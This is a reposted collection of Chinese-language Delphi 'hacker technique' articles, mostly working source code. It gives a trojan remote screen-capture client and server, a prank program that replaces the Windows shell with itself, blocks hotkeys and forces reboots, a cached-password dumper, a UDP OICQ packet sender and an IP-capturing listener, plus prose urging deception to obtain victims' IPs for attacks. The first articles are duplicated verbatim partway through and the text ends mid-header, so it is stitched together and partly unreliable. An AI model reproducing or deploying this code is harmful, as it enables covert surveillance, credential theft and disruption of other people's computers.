用DELPHI實現的一些國內黑客程式技巧
阿新 • • 發佈:2019-01-22
實際上目前所有的OICQ探測方法都一樣,傳送一個OICQ訊息給對方,憑藉OICQ 的返回資訊來判斷對方的OICQ號碼,具體的DELPHI實現如下: NMUDP1是ICS控制元件包的UDP控制元件。
NMUDP1.ReportLevel := Status_Basic;
NMUDP1.RemoteHost := edit1.Text;
NMUDP1.RemotePort := 4000;
UdpTmpStr :=#$02 +#$03 +#$0a +#$00 +#$78 +#13 +#$A
+ '88888' +#$1f +#$30 +#$1f + #$33 + #$39 +#$1f
+FormatDateTime('yyyy-mm-dd',now)
+#$1f
+FormatDateTime('hh:mm:ss',now)
+#$1f
+ '你正在被某位朋友查詢。他使用了追捕這個工具軟體(http://www.zhuibu.com/)進行探測,此OICQ號碼已經被反饋給對方。'
+ '資訊所提示的OICQ號碼為虛假號碼,但可以即時回覆。' + #$03;
if OicqCheck.Checked then begin
for SendUdpNum:=1 to 10 do begin
MyStream := TMemoryStream.Create;
try
MyStream.Write(UdpTmpStr[1], Length(UdpTmpStr));
NMUDP1.SendStream(MyStream);
finally
MyStream.Free;
end;
end;
end;
待續..
感謝馮志巨集先生
遠端螢幕抓取,寫一個木馬程式必備的技巧
Thursday,Oct-26
檀革勤 [網際網路]
木馬的一個很重要的功能就是遠端監視螢幕,下面的文章講述了怎樣利用UDP協議來實現,而不是我們通常用到的tcp/ip協議,很有特色,值得一學。
一、軟硬體要求。
Windows95/98對等網,用來監視的計算機(以下簡稱主控機)和被監視的計算機(以下簡稱受控機)都必須裝有TCP/IP
協議,並正確配置。如沒有網路,也可以在一臺計算機上進行除錯。
二、實現方法。
編制兩個應用程式,一個為VClient.exe,裝在受控機上,另一個為VServer.exe,裝在主控機上。VServer.exe指定要監視的受控機的IP地址和將要在受控機螢幕上抓取區域的大小和位置,併發出螢幕抓取指令給VClient.exe,VClient.exe得到指令後,在受控機螢幕上選取指定區域,生成資料流,將其發回主控機,並在主控機上顯示出抓取區域的BMP圖象。由以上過程可以看出,該方法的關鍵有二:一是如何在受控機上進行螢幕抓取,二是如何通過TCP/IP協議在兩臺計算機中傳輸資料。
UDP(User Datagram
Protocol,意為使用者報文協議)是Internet上廣泛採用的通訊協議之一。與TCP協議不同,它是一種非連線的傳輸協議,沒有確認機制,可靠性不如TCP,但它的效率卻比TCP高,用於遠端螢幕監視還是比較適合的。同時,UDP控制元件不區分伺服器端和客戶端,只區分發送端和接收端,程式設計上較為簡單,故選用UDP協議,使用Delphi
4.0提供的TNMUDP控制元件。
三、建立演示程式。
第一步,編制VClient.exe檔案。新建Delphi工程,將預設窗體的Name屬性設為“Client”。加入TNMUDP控制元件,Name屬性設為“CUDP”;LocalPort屬性設為“1111”,讓控制元件CUDP監視受控機的1111埠,當有資料傳送到該口時,觸發控制元件CUDP的OnDataReceived事件;RemotePort屬性設為“2222”,當控制元件CUDP傳送資料時,將資料發到主控機的2222口。
在implementation後面加入變數定義
const BufSize=2048;{ 傳送每一筆資料的緩衝區大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 傳送每一筆資料後剩餘的位元組數 }
為Client的OnCreate事件新增程式碼:
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;
為Client的OnDestroy事件新增程式碼:
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;
為控制元件CUDP的OnDataReceived事件新增程式碼:
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 讀取控制碼 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then
begin { 控制碼前4位為“show”表示主控機發出了抓屏指令 }
if BmpStream.Size=0 then { 沒有資料可發,必須截圖生成資料 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)
-Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-
Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr
)+1,Length(TmpStr)-Pos(':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); {
擷取螢幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP為主控機IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 將資料發到主控機的2222口 }
end;
end;
其中ScreenCap是自定義函式,擷取螢幕指定區域,
程式碼如下:
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存為“C:/VClient/ClnUnit.pas”和“C:/VClient/VClient.dpr”,
並編譯。
第二步,編制VServer.exe檔案。新建Delphi工程,將窗體的Name屬性設為“Server”。加入TNMUDP控制元件,Name屬性設為“SUDP”;LocalPort屬性設為“2222”,讓控制元件SUDP監視主控機的2222埠,當有資料傳送到該口時,觸發控制元件SUDP的OnDataReceived事件;RemotePort屬性設為“1111”,當控制元件SUDP傳送資料時,將資料發到受控機的1111口。加入控制元件Image1,Align屬性設為“alClient”;加入控制元件Button1,Caption屬性設為“截圖”;加入控制元件Label1,Caption屬性設為“左:上:右:下”;加入控制元件Edit1,Text屬性設為“0:0:100:100”;加入控制元件Label2,Caption屬性設為“受控機IP地址”;加入控制元件Edit2,Text屬性設為“127.0.0.1”;
在implementation後面加入變數定義
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;
為Server的OnCreate事件新增程式碼:
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;
為Client的OnDestroy事件新增程式碼:
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;
為控制元件Button1的OnClick事件新增程式碼:
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
為控制元件SUDP的OnDataReceived事件新增程式碼:
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { 資料已讀完 }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;
存為“C:/VServer/SvrUnit.pas”和
“C:/VServer/VServer.dpr”,並編譯。
---- 四、測試。
1、本地機測試:在本地機同時執行Vserver.exe和VClient.exe,利用程式的預設設定,即可實現截圖。檢視“控制面板”-“網路”-“TCP/IP”-“IP地址”,將程式的“客戶IP地址”設為該地址
,同樣正常執行。
2、遠端測試:選一臺受控機,執行VClient.exe;另選一臺主控機,執行VServer.exe,將“受控機IP地址”即Edit2的內容設為受控機的IP地址,“截圖”即可。以上簡要介紹了遠端螢幕抓取的實現方法,至於在主控機上一屏同時監視多個受控機,讀者可自行完善。以上程式,在Windows98對等網、Delphi
4.0下除錯通過
利用外殼的妖之吻
Thursday,Oct-26
千年老妖 [Delphi程式設計技巧]
我一直很困惑,為什麼一個簡單而且粗糙的程式居然流行開了,記得那是好幾個月前,和老孔雀無聊地聊天,實在找不到什麼興趣之後,突然想捉弄他一下,就一邊聊一邊做程式,很簡單的幾行程式碼幾分鐘就搞定,用一個Tinifiles搞定了windows的shell的外殼,一個關機命令,一個熱鍵遮蔽命令,一個timer來倒數延時,一個難看的窗體,組裝好了就發過去,就一直不見對方蹤影了,晚上看到傲氣的小鷹在QQ上,就懷著搞笑的心理髮給了他,於是就從傲氣開始了下載,這個無聊的軟體對一些懂得windows的人來說不構成危害,但是對一些剛剛接觸電腦的人,很可能造成對方重新安裝系統甚至去格式化硬碟,對此深表歉意。忘記了做成重啟動N次後自動恢復。但這個程式本身對資料不造成危害。windows和dos一樣,有個shell外殼,啟動的時候載入它,就是我們看到的介面,是必須的,和windows的啟動執行不一樣,是前提,所以很多朋友中了妖之吻之後,拼命改登錄檔,win.ini,都不行。而且不能刪除它,一旦刪除,win98就會藍屏報錯,提示請重新安裝。:-)
下面是程式的實現,這些程式碼與最初的程式碼有許多地方不一樣,還沒有完成。因為後來心血來潮想增加點東東,後來放棄了,畢竟還是無聊的東西。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes,inifiles, Graphics, Controls,
Forms, Dialogs,
StdCtrls, ExtCtrls, Buttons;
type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
Timer2: TTimer;
Label2: TLabel;
SpeedButton1: TSpeedButton;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Timer2Timer(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
var
sysini:tinifile;//定一個ini,準備動手術
j,i:integer;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
exitwindowsex(ewx_reboot,0);//倒數時間到,關機羅!
end;
procedure TForm1.FormCreate(Sender: TObject);
var
hregion,wndHandle : THandle;
wndClass : array[0..50] of Char;
k:string;
begin
hregion:=createellipticrgn(14,200,350,14);//想畫個不規則窗體
setwindowrgn(handle,hregion,true);
StrPCopy(@wndClass[0], 'Shell_TrayWnd');
wndHandle := FindWindow(@wndClass[0], nil);
ShowWindow(wndHandle, SW_HIDE);
i:=60;
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
systemparametersinfo(97,1,nil,0);//遮蔽熱鍵
timer1.Enabled:=false;
sysini:=Tinifile.Create('system.ini');
k:=sysini.ReadString('boot','shell',k);//這裡準備做成啟動20次恢復,
if (k='explorer') or (k='explorer.exe') then
begin
sysini.WriteInteger('mci','mcicount',20);
sysini.WriteString('boot','shell',application.ExeName);//這裡用自己替換掉了shell
end
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
systemparametersinfo(97,0,nil,0);//取消遮蔽
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
i:=i-1;
label2.Caption:=inttostr(i);
if i=1 then
begin
timer2.Enabled:=false;
timer1.Enabled:=true;
j:=sysini.ReadInteger('mci','mcicount',j);
j:=j-1;
if j=1 then
begin
sysini.WriteString('boot','shell','explorer.exe');//當啟動滿了20次,恢復shell
end;
end;
end;
procedure TForm1.SpeedButton1Click(Sender: TObject);//除錯用的
begin
timer1.Enabled:=false;
timer2.Enabled:=false;
application.Terminate;
systemparametersinfo(97,1,nil,0);
end;
end.
還存在個問題,這個程式裡面的程式碼沒有遮蔽掉Alt+F4,可以更換成別的辦法。
10月23日
寫一個類PwView密碼檢視的程式
Thursday,Oct-26
不詳 [網路收集]
很多朋友用過pwview以及類似的軟體吧?一執行windows的密碼全找到了,這裡給一個原始碼,不是老妖寫的,是網上搜羅的,裡面的程式碼值得一學,為寫自己的hacker軟體積累點點滴滴..
unit Unit1;
interface
uses
Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;
type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
ListBox: TListBox;
Label1: TLabel;
Label2: TLabel;
procedure Label1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
hMPR: THandle;
end;
var
Form1: TForm1;
const
Count: Integer = 0;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar;
dw: DWord): Word; stdcall;
implementation
{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar;
dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
var
WinPassword: TWinPassword;
function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool;
stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);
Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);
Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize +
WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);
Form1.ListBox.Items.Add(Password);
Result := True;
end;
procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(GetDesktopWindow, 'open', 'http://wlhyy.126.com', nil, nil,
0);
end;
procedure TForm1.FormShow(Sender: TObject);
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox('Can''t load passwords: User is not logon.',
'Error', mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
ListBox.Items.Add('No passwords found...');
end;
end.
大家來當灰客 (二)亂彈IP查詢
Thursday,Oct-26
千年老妖 [網路天地]
這個網路上最不缺的就是灰客,灰客們的話題永遠停留在怎麼怎麼查詢IP上面,為什麼了?因為有了IP,頓時天空都明朗了,IGMP炸彈..追捕..ICQ炸彈..木馬十八般武藝頓時有了用武之地。灰客們咬來嚼去的所謂之技術,其中所謂之查IP的技術,根本談不上是什麼技術,其實很簡單,就這麼幾個花樣...這裡慢慢拿出來晒晒太陽..
至於古老的從dos下面netstrat這裡就不談了,因為早有人做成了windows版本的。就目前最簡單最容易上手的方法和原理淺談一二,當然,如果你是在電信資料局工作,這個就免看了,去伺服器就搞定...
一個無聊的灰客最喜歡做什麼?這個還用說,炸人唄,極端無聊的灰客喜歡做什麼?找一段IP挨個炸,一個簡單的掃描器就行了,看看那些IP能ping通,稍微有點目標的話,用用追捕的月光搜尋,它的原理是利用netbios挨個掃描出一個網段上每個活動IP的計算機名,非常好用,我和幾個朋友在網路上自建三角州伺服器玩三角,他們怎麼找到我的IP呢?就用這個,也不用我挨個通知了,我的計算機名是wlhsoft,他們一掃描就知道了,很實用吧?用來快速準確查詢一個長期養馬的機器也特別方便。
當一個豪氣萬丈的灰客在聊天的時候,在泡MM的時候遇到了對手怎麼辦?當然是一擊必殺了,如果是在oicq上面就方便多了,此類炸彈軟體多如牛毛,oicq是基於UDP協議的聊天工具,協議的特性註定了安全性遠遠跟不上基於TCP/IP協議的工具,oicq的每條資訊都包含了你的IP地址,只需要把資料報截獲下來分析就知道了,做到程式裡面就成了灰客們常用的oicqIP查詢的工具,詳細做法另文再談。這是利用軟體的缺陷查IP。無需灰客動腦,一切搞定。
如果是在聊天室裡面怎麼辦?一個web聊天室如果在裡面沒有許可權,看不到IP是很痛苦的,如果這個聊天室支援html,就好辦了,我在delphi程式設計裡面的貼介紹了怎麼做一個IP獵人,就用它,用你自己製作的軟體來抓IP,原理不用多說了,看看那篇貼子就很明白了。只要你和對方的機器有個直接的訪問就可以了,用html程式碼讓對方的瀏覽器直接訪問自己的機器,預設80埠,發一個圖或者一個音樂,(img
src=http://你本機IP/xx.jpg)即可,這種方法很古老的,很多聊天室已經不能使用html了,但是又怎麼難得到技術高超的灰客呢?嘿嘿,變通一下,用花言巧語吧,欺騙對方來訪問你的IP,‘我找到一個好網站哦!!!'此類的話很容易吧?為了更像一點,乾脆去免費申請一個
yahoo.126.com的域名直接指向你的IP,嘿嘿,當然對方連線你,他的瀏覽器會看到'web地址已經找到’,但是無論如何也打不開了。這種方法是萬金油,到處都可以抹,只要你能言善騙,一臉無可挑剔的真誠,警惕性再高的人都會被你抓住.還有幾種小方法,比如利用訪問日誌,聊天室的bug把message.cgi打開了之類的,覺得沒多大意思,就上面的幾個小辦法足以滿足一個灰客的日常需要了。下次聊
怎樣用delphi製作一個IPhunter(獨孤劍客的IP獵人)
Thursday,Oct-26
千年老妖 [delphi程式設計技巧]
很多朋友用過獨孤劍客寫的IPhunter吧,它是利用在聊天室發圖片的原理查詢對方IP,其實不僅僅是聊天室,只要有人對你的機器存在訪問,就能夠抓到他的IP,甚至主機名,在老妖的軟體獵鹿人當中也利用了這個原理,在delphi中是很容易實現的,現在我們用delphi來做一個和IPhunter一模一樣的軟體。
有人說現在的程式設計師成了組裝工人,其實很有道理,利用控制元件模組+少量程式碼就可以實現,delphi
5.0提供了豐富的internet控制元件,利用TCP/IP
客戶端-服務端就可以解決問題。關鍵的控制元件是ServerSocket,我們模仿IPhunter的介面用一個button1(按鈕),一個combobox1(用於顯示),這三個最基本的控制元件放置到空白窗體上就可以開始寫程式碼了
。
首先,這個combobox1必須能顯示多個IP,我們定一個變數y來累加combobox1.items[y],
var y:integer;
我們的思路如下,當ServerSocket活動的port(埠)收到基於TCP/IP協議的連結請求時候,返回對方的IP值,傳遞給combobox顯示出來。由button1控制ServerSocket的啟用,也就是開啟關閉埠。
我們在ServerSocket的On ClientConnect事件中加入一下程式碼
procedure TForm1.ServerSocket11ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
combobox1.Items.Insert(y,'');//加入一條空紀錄
combobox1.Items[y]:=socket.RemoteAddress;//獲取對方的IP
label1.Text:='共捕獲'+inttostr(y+1)+'個IP';//用一個標籤來顯示一共抓了多少IP
y:=y+1;//計數變數加1
socket.Close;
end;
現在,將button1的caption屬性設定為 '開始',在它的單擊事件中加入以下程式碼
procedure TForm1.SpeedButton7Click(Sender: TObject);
begin
if speedbutton7.Caption='開始' then
begin
serversocket11.Port:=80;//這句可以在serversocket屬性中設定,捕獲瀏覽器的連線
ServerSocket11.Active:=true;//啟用埠
speedbutton7.Caption:='停止';
end
else
begin
serversocket11.Active:=false;//關閉埠
speedbutton7.Caption:='開始';
combobox1.Clear;//結束捕獲,清空歷史資訊
y:=0;//計數變數復位
end;
end;
現在一個IPhunter基本就可以使用了,這只是很簡單原型,加上您自己精心製作的介面,就是一個網路灰客工具了,這個功能也整合到了獵鹿人裡面,這裡說到的只是ServerSocket最基本的一點功能而已,加上ClientSocket就可以做一個聊天工具,只用ClientSocket可以做一個和代理獵手一樣的掃描軟體,這些在老妖以後的文章中陸續介紹。
NMUDP1.ReportLevel := Status_Basic;
NMUDP1.RemoteHost := edit1.Text;
NMUDP1.RemotePort := 4000;
UdpTmpStr :=#$02 +#$03 +#$0a +#$00 +#$78 +#13 +#$A
+ '88888' +#$1f +#$30 +#$1f + #$33 + #$39 +#$1f
+FormatDateTime('yyyy-mm-dd',now)
+#$1f
+FormatDateTime('hh:mm:ss',now)
+#$1f
+ '你正在被某位朋友查詢。他使用了追捕這個工具軟體(http://www.zhuibu.com/)進行探測,此OICQ號碼已經被反饋給對方。'
+ '資訊所提示的OICQ號碼為虛假號碼,但可以即時回覆。' + #$03;
if OicqCheck.Checked then begin
for SendUdpNum:=1 to 10 do begin
MyStream := TMemoryStream.Create;
try
MyStream.Write(UdpTmpStr[1], Length(UdpTmpStr));
NMUDP1.SendStream(MyStream);
finally
MyStream.Free;
end;
end;
end;
待續..
感謝馮志巨集先生
遠端螢幕抓取,寫一個木馬程式必備的技巧
Thursday,Oct-26
檀革勤 [網際網路]
木馬的一個很重要的功能就是遠端監視螢幕,下面的文章講述了怎樣利用UDP協議來實現,而不是我們通常用到的tcp/ip協議,很有特色,值得一學。
一、軟硬體要求。
Windows95/98對等網,用來監視的計算機(以下簡稱主控機)和被監視的計算機(以下簡稱受控機)都必須裝有TCP/IP
協議,並正確配置。如沒有網路,也可以在一臺計算機上進行除錯。
二、實現方法。
編制兩個應用程式,一個為VClient.exe,裝在受控機上,另一個為VServer.exe,裝在主控機上。VServer.exe指定要監視的受控機的IP地址和將要在受控機螢幕上抓取區域的大小和位置,併發出螢幕抓取指令給VClient.exe,VClient.exe得到指令後,在受控機螢幕上選取指定區域,生成資料流,將其發回主控機,並在主控機上顯示出抓取區域的BMP圖象。由以上過程可以看出,該方法的關鍵有二:一是如何在受控機上進行螢幕抓取,二是如何通過TCP/IP協議在兩臺計算機中傳輸資料。
UDP(User Datagram
Protocol,意為使用者報文協議)是Internet上廣泛採用的通訊協議之一。與TCP協議不同,它是一種非連線的傳輸協議,沒有確認機制,可靠性不如TCP,但它的效率卻比TCP高,用於遠端螢幕監視還是比較適合的。同時,UDP控制元件不區分伺服器端和客戶端,只區分發送端和接收端,程式設計上較為簡單,故選用UDP協議,使用Delphi
4.0提供的TNMUDP控制元件。
三、建立演示程式。
第一步,編制VClient.exe檔案。新建Delphi工程,將預設窗體的Name屬性設為“Client”。加入TNMUDP控制元件,Name屬性設為“CUDP”;LocalPort屬性設為“1111”,讓控制元件CUDP監視受控機的1111埠,當有資料傳送到該口時,觸發控制元件CUDP的OnDataReceived事件;RemotePort屬性設為“2222”,當控制元件CUDP傳送資料時,將資料發到主控機的2222口。
在implementation後面加入變數定義
const BufSize=2048;{ 傳送每一筆資料的緩衝區大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 傳送每一筆資料後剩餘的位元組數 }
為Client的OnCreate事件新增程式碼:
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;
為Client的OnDestroy事件新增程式碼:
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;
為控制元件CUDP的OnDataReceived事件新增程式碼:
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 讀取控制碼 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then
begin { 控制碼前4位為“show”表示主控機發出了抓屏指令 }
if BmpStream.Size=0 then { 沒有資料可發,必須截圖生成資料 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)
-Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-
Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr
)+1,Length(TmpStr)-Pos(':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); {
擷取螢幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP為主控機IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 將資料發到主控機的2222口 }
end;
end;
其中ScreenCap是自定義函式,擷取螢幕指定區域,
程式碼如下:
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存為“C:/VClient/ClnUnit.pas”和“C:/VClient/VClient.dpr”,
並編譯。
第二步,編制VServer.exe檔案。新建Delphi工程,將窗體的Name屬性設為“Server”。加入TNMUDP控制元件,Name屬性設為“SUDP”;LocalPort屬性設為“2222”,讓控制元件SUDP監視主控機的2222埠,當有資料傳送到該口時,觸發控制元件SUDP的OnDataReceived事件;RemotePort屬性設為“1111”,當控制元件SUDP傳送資料時,將資料發到受控機的1111口。加入控制元件Image1,Align屬性設為“alClient”;加入控制元件Button1,Caption屬性設為“截圖”;加入控制元件Label1,Caption屬性設為“左:上:右:下”;加入控制元件Edit1,Text屬性設為“0:0:100:100”;加入控制元件Label2,Caption屬性設為“受控機IP地址”;加入控制元件Edit2,Text屬性設為“127.0.0.1”;
在implementation後面加入變數定義
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;
為Server的OnCreate事件新增程式碼:
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;
為Client的OnDestroy事件新增程式碼:
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;
為控制元件Button1的OnClick事件新增程式碼:
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
為控制元件SUDP的OnDataReceived事件新增程式碼:
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { 資料已讀完 }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;
存為“C:/VServer/SvrUnit.pas”和
“C:/VServer/VServer.dpr”,並編譯。
---- 四、測試。
1、本地機測試:在本地機同時執行Vserver.exe和VClient.exe,利用程式的預設設定,即可實現截圖。檢視“控制面板”-“網路”-“TCP/IP”-“IP地址”,將程式的“客戶IP地址”設為該地址
,同樣正常執行。
2、遠端測試:選一臺受控機,執行VClient.exe;另選一臺主控機,執行VServer.exe,將“受控機IP地址”即Edit2的內容設為受控機的IP地址,“截圖”即可。以上簡要介紹了遠端螢幕抓取的實現方法,至於在主控機上一屏同時監視多個受控機,讀者可自行完善。以上程式,在Windows98對等網、Delphi
4.0下除錯通過
利用外殼的妖之吻
Thursday,Oct-26
千年老妖 [Delphi程式設計技巧]
